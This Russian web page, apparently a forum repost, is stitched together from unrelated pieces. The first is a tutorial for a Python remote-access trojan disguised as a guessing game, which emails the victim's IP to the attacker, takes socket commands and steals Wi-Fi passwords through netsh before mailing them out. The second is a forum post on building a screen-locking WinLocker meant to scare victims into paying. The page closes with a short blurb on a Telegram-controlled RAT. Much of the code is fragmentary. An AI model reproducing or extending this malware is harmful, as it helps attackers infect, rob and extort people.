Как сделать на питоне вирус
В этой статье я расскажу, как написать на Python простейший троян с удаленным доступом, а для большей скрытности мы встроим его в игру. Даже если ты не знаешь Python, ты сможешь лучше понять, как устроены такие вредоносы, и поупражняться в программировании.
Конечно, приведенные в статье скрипты никак не годятся для использования в боевых условиях: обфускации в них нет, принципы работы просты как палка, а вредоносные функции отсутствуют напрочь. Тем не менее при некоторой смекалке их возможно использовать для несложных пакостей — например, вырубить чей‑нибудь компьютер в классе (или в офисе, если в классе ты не наигрался).
ТЕОРИЯ
Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым.
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Помни об этом.
ОПРЕДЕЛЯЕМ IP
Сначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем.
Начнем писать код. Сразу импортируем библиотеки:
from requests import get
Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой pip .
pip install socket
pip install requests
Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее.
Вывести информацию еще проще:
Никогда не встречал конструкции типа print(f'<>') ? Буква f означает форматированные строковые литералы. Простыми словами — программные вставки прямо в строку.
Строковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это тебе на JavaScript!).
from requests import get
Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера.
БЭККОННЕКТ ПО ПОЧТЕ
Теперь напишем скрипт, который будет присылать нам письмо.
Импорт новых библиотек (обе нужно предварительно поставить через pip install ):
import smtplib as smtp
from getpass import getpass
Пишем базовую информацию о себе:
Дальше сформируем письмо:
message = 'From: <>\nTo: <>\nSubject: <>\n\n<>'.format(email, dest_email, subject, email_text)
Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
В строке server.ehlo(email) мы используем команду EHLO . Большинство серверов SMTP поддерживают ESMTP и EHLO . Если сервер, к которому ты пытаешься подключиться, не поддерживает EHLO , можно использовать HELO .
Полный код этой части трояна:
import smtplib as smtp
from getpass import getpass
from requests import get
message = 'From: <>\nTo: <>\nSubject: <>\n\n<>'.format(email, dest_email, subject, email_text)
server.sendmail(email, dest_email, message)
Запустив этот скрипт, получаем письмо.
Письмо с IP
Этот скрипт я проверил на VirusTotal. Результат на скрине.
ТРОЯН
По задумке, троян представляет собой клиент‑серверное приложение с клиентом на машине атакуемого и сервером на запускающей машине. Должен быть реализован максимальный удаленный доступ к системе.
Как обычно, начнем с библиотек:
number = random.randint(0, 1000)
guess = input('Введите число: ')
if guess == number:
print(f'Ты победил! Я загадал . Ты использовал попыток.')
if guess > number:
print('Загаданное число меньше!')
print('Загаданное число больше!')
print('Это не число от 0 до 1000!')
Зачем столько сложностей с проверкой на число? Можно было просто написать guess = int(input('Введите число: ')) . Если бы мы написали так, то при вводе чего угодно, кроме числа, выпадала бы ошибка, а этого допустить нельзя, так как ошибка заставит программу остановиться и обрубит соединение.
Вот код нашего трояна. Ниже мы будем разбираться, как он работает, чтобы не проговаривать заново базовые вещи.
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if server_command == 'cmdon':
client.send('Получен доступ к терминалу'.encode('cp866'))
if server_command == 'cmdoff':
if server_command == 'hello':
client.send(f' успешно отправлена!'.encode('cp866'))
Сначала нужно разобраться, что такое сокет и с чем его едят. Сокет простым языком — это условная вилка или розетка для программ. Существуют клиентские и серверные сокеты: серверный прослушивает определенный порт (розетка), а клиентский подключается к серверу (вилка). После того как установлено соединение, начинается обмен данными.
Итак, строка client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) создает эхо‑сервер (отправили запрос — получили ответ). AF_INET означает работу с IPv4-адресацией, а SOCK_STREAM указывает на то, что мы используем TCP-подключение вместо UDP, где пакет посылается в сеть и далее не отслеживается.
Строка client.connect((HOST, PORT)) указывает IP-адрес хоста и порт, по которым будет производиться подключение, и сразу подключается.
Команда decode('cp866') декодирует полученный байтовый буфер в текстовую строку согласно заданной кодировке (у нас 866). Но почему именно cp866 ? Зайдем в командную строку и введем команду chcp .
Текущая кодовая страница
Кодировка по умолчанию для русскоговорящих устройств — 866, где кириллица добавлена в латиницу. В англоязычных версиях системы используется обычный Unicode, то есть utf-8 в Python. Мы же говорим на русском языке, так что поддерживать его нам просто необходимо.
При желании кодировку можно поменять в командной строке, набрав после chcp ее номер. Юникод имеет номер 65001.
При приеме команды нужно определить, не служебная ли она. Если так, выполняем определенные действия, иначе, если включен терминал, перенаправляем команду туда. Недостаток — результат выполнения так и остается необработанным, а его хорошо бы отправлять нам. Это будет тебе домашним заданием: реализовать эту функцию можно от силы минут за пятнадцать, даже если гуглить каждый шаг.
Результат проверки клиента на VirusTotal порадовал.
Базовый троян написан, и сейчас можно сделать очень многое на машине атакуемого, ведь у нас доступ к командной строке. Но почему бы нам не расширить набор функций? Давай еще пароли от Wi-Fi стащим!
WI-FI-СТИЛЕР
Задача — создать скрипт, который из командной строки узнает все пароли от доступных сетей Wi-Fi.
Приступаем. Импорт библиотек:
Модуль subprocess нужен для создания новых процессов и соединения c потоками стандартного ввода‑вывода, а еще для получения кодов возврата от этих процессов.
Итак, скрипт для извлечения паролей Wi-Fi:
Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
for Wi-Fi in Wi-Fis:
results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
print(f'Имя сети: , Пароль не найден!')
Введя команду netsh wlan show profiles в командной строке, мы получим следующее.
netsh wlan show profiles
Если распарсить вывод выше и подставить имя сети в команду netsh wlan show profile [имя сети] key=clear , результат будет как на картинке. Его можно разобрать и вытащить пароль от сети.
netsh wlan show profile ASUS key=clear Вердикт VirusTotal
Осталась одна проблема: наша изначальная задумка была забрать пароли себе, а не показывать их пользователю. Исправим же это.
Допишем еще один вариант команды в скрипт, где обрабатываем наши команды из сети.
if server_command == 'Wi-Fi':
Wi-Fis = [line.split(':')[1][1:-1] for line in data if "Все профили пользователей" in line]
for Wi-Fi in Wi-Fis:
results = [line.split(':')[1][1:-1] for line in results if "Содержимое ключа" in line]
message = 'From: <>\nTo: <>\nSubject: <>\n\n<>'.format(email, dest_email, subject, email_text)
server.sendmail(email, dest_email, message)
email_text = (f'Name: , Password not found!')
message = 'From: <>\nTo: <>\nSubject: <>\n\n<>'.format(email, dest_email, subject, email_text)
server.sendmail(email, dest_email, message)
Этот скрипт прост как два рубля и ожидает увидеть русскоязычную систему. На других языках это не сработает, но исправить поведение скрипта можно простым выбором разделителя из словаря, где ключ — обнаруженный на компьютере язык, а значение — требуемая фраза на нужном языке.
Все команды этого скрипта уже подробно разобраны, так что я не буду повторяться, а просто покажу скриншот из своей почты.
Результат
Доработки
Конечно, тут можно доработать примерно все — от защиты канала передачи до защиты самого кода нашего вредоноса. Методы связи с управляющими серверами злоумышленника тоже обычно используются другие, а работа вредоноса не зависит от языка операционной системы.
И конечно, сам вирус очень желательно упаковать с помощью PyInstaller, чтобы не тянуть с собой на машину жертвы питон и все зависимости. Игра, которая требует для работы установить модуль для работы с почтой, — что может больше внушать доверие?
ЗАКЛЮЧЕНИЕ
Сегодняшний троян настолько прост, что его никак нельзя назвать боевым. Тем не менее он полезен для изучения основ языка Python и понимания алгоритмов работы более сложных вредоносных программ. Мы надеемся, что ты уважаешь закон, а полученные знания о троянах тебе никогда не понадобятся.
В качестве домашнего задания рекомендую попробовать реализовать двусторонний терминал и шифрование данных хотя бы с помощью XOR. Такой троян уже будет куда интереснее, но, безусловно, использовать его in the wild мы не призываем. Будь аккуратен!
Отказ от ответственности: Автор или издатель не публиковали эту статью для вредоносных целей. Вся размещенная информация была взята из открытых источников и представлена исключительно в ознакомительных целях а также не несет призыва к действию. Создано лишь в образовательных и развлекательных целях. Вся информация направлена на то, чтобы уберечь читателей от противозаконных действий. Все причиненные возможные убытки посетитель берет на себя. Автор проделывает все действия лишь на собственном оборудовании и в собственной сети. Не повторяйте ничего из прочитанного в реальной жизни. | Так же, если вы являетесь правообладателем размещенного на страницах портала материала, просьба написать нам через контактную форму жалобу на удаление определенной страницы, а также ознакомиться с инструкцией для правообладателей материалов. Спасибо за понимание.
BeyondRedemption
Бывалый
BeyondRedemption
Бывалый
Мы с вами напишем локер для компьютера, на базе Windows или UNIX систем. Наша программа будет блокировать систему пользователя, пока он не введет пароль. В простонародье данный вирус называют "WinLocker".
Переходим на официальный сайт PythonА -
. Скачиваем последнюю версию и устанавливаем ее.
Наш вирус будет работать по такому принципу: Программа открывается на весь экран,у нее нет кнопки закрыть. Доступно поле для ввода пароля и кнопка для разблокировки. Пока жертва не введет правильный пароль, мышка будет постоянно кликать на кнопку, и переводить туда курсор. Это будет мешать пользователю свернуть окно или убить его через диспетчер задач. Так же будет таймер отсчитывающий время до удаления системы. На самом деле, он ничего не удалит, но хорошо припугнут жертву и например заставит скорее перевести деньги. По истечении времени таймер сменится на надпись - "Удаление системы" Вот и вся суть программы)
Для написания вы можете использовать обычный IDLE от питона, или любой другой. Для начала мы должны к нашей программе подключить нужные нам библиотеки.
*Библиотека - написанные коды/функции, которые подключаются к нашей программе.
Но при запуске нам выдаст ошибку, указывающую на отсутствие библиотек pyautogui и pygame. Они не являются стандартными и их нужно установить. Для этого выполняем действия как на видео(через систему для установки пакетов мы ставим нужные нам библиотеки)
ДАЛЬШЕ МЫ ЗАДАДИМ ПЕРЕМЕННЫЕ, КОТОРЫЕ МЫ БУДЕМ ИСПОЛЬЗОВАТЬ
Почти в самом начале мы должны создать функции. Которые будут отвечать за блокировку компьютера и за проверку на ввод правильного пароля. Сначала создаем функцию блокировки компьютера.
Теперь мы создаем функцию, которая проверяет, введен ли правильный пароль.
Дальше мы должны создать окно нашего локера,которое откроется на весь экран.
У нас есть кнопка и она должна что-то делать. В нашем случае при нажатии на кнопку будет выполняться проверка на правильность пароля.
До этого мы просто создали переменные с объектами,а теперь эти объекты нужно отобразить/отрисовать на экране. (используем функцию .place(), которая принимает значения x и y - координаты)
Дальше мы должны обновить наш экран и выполнить нажатие на поле для ввода
Теперь мы должны запустить цикл, который будет работать,пока от пользователя мы не получим правильный пароль.
Компилируем в exe При запуске программы(F5) все будет работать, но распространять код и установщик питона, это явно не лучший вариант. Поэтому мы наш код скомпилируем в exe файл. Для этого мы через pip установить специальную программу. Смотрим видео.
Вот мы и написали наш простой локер, да диспетчер задач и комбинации alt+tab будут работать, но из-за постоянных кликов - убить процесс практически невозможно. Наш вирус не будет палится антивирусами, ведь им не на что реагировать. В нашей программе нету взаимодействия с системой пользователя.
НЕБОЛЬШОЙ СЛОВАРЬ ТЕРМИНОВ:
IDLE/IDE - среда для разработки программного обеспечения.
Библиотека/модуль - написанные коды/функции,которые подключаются к нашей программе.
pip - система для установки пакетов(Для Python).
Переменная - ячейка в памяти,которая имеет свое уникальное название и может хранить определенную информацию
Функция - часть кода, который имеет свое уникальное название по которому его можно запустить/вызвать
Цикл - действие, которое будет повторятся N-ное количество раз и может зависит
Недавно был создан Remote Access Trojan (RAT), который использует протокол Telegram для кражи пользовательских данных через зараженное устройство. RAT написан в Python и в данный момент находится в свободном доступе для скачивания на порталах обмена кодами (Github).
Создатель RAT, утверждает, что целью создания RAT была исключительно оптимизация и улучшение выполняемой работы для RAT. Автор подчеркивает, что главная проблема с большей частью RAT в том, что они не используют шифрование и запрашивают включение переадресации порта на устройстве жертвы для контроля зараженных хостов. Разработчик предлагает его собственный инструмент, под названием RATAtack, который использует протокол Telegram для поддержки зашифрованного канала жертвы и создателя канала, и не требует переадресации портов, так как протокол Telegram предусматривает простой метод связи с целью без предварительной настройки порта.
RAT работает через ботов в Telegram
Перед появлением RATatack, пользователь RAT должен создать бота в Telegram, взять маркер этого бота и поместить его в конфигурационный файл RAT. После заражения жертвы RATAttack, все хосты соединяются с каналом бота. Владелец RATAttack может подключиться к тому же каналу и пользоваться простыми инструкциями для управления клиентами RATatack в зараженных хостах. В соответствии с нынешней версией RATAttack, поддерживаются следующие команды:
Интерфейс RAT в Telegram
Ниже указаны некоторые функции RATAttack, а также находящиеся в доработке:
Функции в разработке:
- Самоуничтожение RAT на компьютере цели;
- Снимки с вебкамеры (если имеется);
- Удаление файлов на компьютере цели
RATAttack написан на Python 2.7, но автор обещал версию для Python 3.X.
Читайте также: